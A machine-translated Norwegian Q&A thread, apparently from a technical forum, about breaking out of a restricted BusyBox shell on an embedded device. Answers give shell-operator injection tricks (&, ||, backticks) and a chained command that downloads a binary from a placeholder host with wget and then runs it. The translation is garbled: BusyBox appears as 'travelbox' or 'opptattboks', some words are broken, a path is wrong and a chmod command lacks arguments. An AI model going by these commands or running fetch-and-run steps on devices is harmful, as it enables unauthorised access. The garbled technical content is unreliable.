Jeg tester noen innebygd enhet, og det mangler dokumentasjon. Når jeg telnet til enhet, får jeg bare begrenset skall.
BusyBox v1.19.2 (built-in shell (ash) Enter "help" for a list of built-in commands. # help Built-in commands: ------------------ . : [ [[ bg break cd chdir continue echo eval exec exit export false fg getopts hash help jobs kill local printf pwd read readonly return set shift source test times trap true type ulimit umask unset wait
Dette er begrenset skall, det er ikke klart, hvordan komme inn i hele skallet?
Svar
- Kommandoen du trenger er
chsh
(endre skall) – dette er en del avshadow
ellershadow-utils
-pakke. -
Du kan også redigere
/etc/password
for å endre skallet fra/bin/ash
til noe annet:MEN => vær veldig forsiktig med at det nye skallet eksisterer ellers låser du deg selv ut !!!
Du må være root
for å gjøre noe av det ovennevnte.
Svar
BusyBox er hovedsakelig fokusert på størrelsesoptimalisering og kommandoer kan være exc hyllet / inkludert i løpet av kompileringstiden. Uten å gi ytterligere informasjon ser det ut til å være et veldig begrenset sett med installerte komponenter .
Det bør imidlertid være klart at dette betyr ikke at firmwaren til enheten ikke støtter spesifikke verktøy i seg selv. Hvis dette ikke er helt klart, bør du ta en titt på FAQ – Hva er Busybox -delen. Noen sitater bør gjøre dette helt klart:
«Kan jeg aktivere FTP?» – «Vi vet ikke om Foomatic-9000 firmware kommer med Busybox binær med aktivert ftpd applet. (Hvis du har tilgang til shell-spørsmål, kan du prøve å kjøre «busybox ftpd –help»). Hvis det gjør det, vil du sannsynligvis kunne aktivere det. Dessverre vet vi ikke hvordan Foomatic-9000 firmware administrerer start og stopp av forskjellige tjenester (i tilfelle de allerede har ftpd-tjeneste og det bare er deaktivert), eller hvordan du oppretter og aktiverer en ny tjeneste på Foomatic-9000 (hvis de dont). Prøv å google etter det. «
» Kan jeg aktivere SCP? » – «Busybox-1.23.4 har ikke scp-applet. Foomatic-9000 kan imidlertid ha scp installert (si, hvis de har dropbear installert), og det kan være mulig å aktivere det. Hvis ikke, kan det være mulig å bygge og installer ditt eget scp-verktøy. Prøv å google for det. «
Du bør nok fokusere mer på den spesifikke enheten og installert firmware, enn å konsentrere deg om det begrensede sett med komponenter koblet til selve Busybox.
Kommentarer
- ok, glemte cli-kommandoen.
Svar
Dessverre for deg, i dag prøver de fleste innebygde enheter (dvs. rutere, iot-enheter osv.) å forhindre at brukerne får tilgang til det indre systemet slik at de kan «t hack eller modifiser det. Dette er et tiltak for å forhindre arbeidet med botnett som mirai, selv om beskyttelsen ikke alltid er veldig effektiv.
Et begrenset travelbox-skall er et veldig vanlig scenario. Heldigvis snakker vi i generelt krever busybox et underliggende skall hvis det » s alle slags brukergrensesnitt (som telnet eller ssh). Dette betyr at det kan være mulig å omgå det skallet og kjøre kommandoer på det underliggende skallet (dvs. / bin / sh er veldig vanlig).
Før du prøver å unnslippe sandkassen for opptattboks, må du ta hensyn til følgende:
- Produsenten kan ha endret opptaksboksen for å lappe denne teknikken
- Det underliggende skallet kan være et (helt eller delvis) uprivilegert skall. Dette betyr at selv om du klarer å kjøre kommandoer på det, kan det hende at de ikke fungerer eller forteller deg at du ikke har nok rettigheter.
- Det underliggende skallet kan også være et annet begrenset skall (ikke vanlig)
Når du er klar, kan du prøve følgende «triks»: (Alt er avhengig av skalloperatører)
Prøv ting som
echo "Hello World" & <your command>
Dette vil utføre kommandoen din hvis:
- Den binære er tilgjengelig (så egentlig hvis den er installert i systemet)
- Skallet har tilgang til det (privilegier)
Det er andre metoder som:
echo "Hello World" `your command` echo "Hello World" || <your command>
Og andre variasjoner du kan finne på internett eller prøve selv.
REDIGERING: Jeg redigerer for å legge til et eksempel på hvordan du kan unnslippe skallet og få ytterligere utførelse.
echo "Hello World" & wget yourweb.com/yourbinary echo "Hello World" & chmod yourbinary echo "Hello World" & ./yourbinary
eller direkte ./din binær
Det er ideen. Når det gjelder chmod beklager, men jeg husker ikke de eksakte argumentene for å gi utførelsestillatelser.
EDIT2: Jeg har lagt merke til at skallet ditt sier ask, så sannsynligvis er opptattboks utført fra et (automatisert) skript som kjører fra aske. I dette tilfellet vil du kjøre kommandoer direkte på / bin / askeskallet.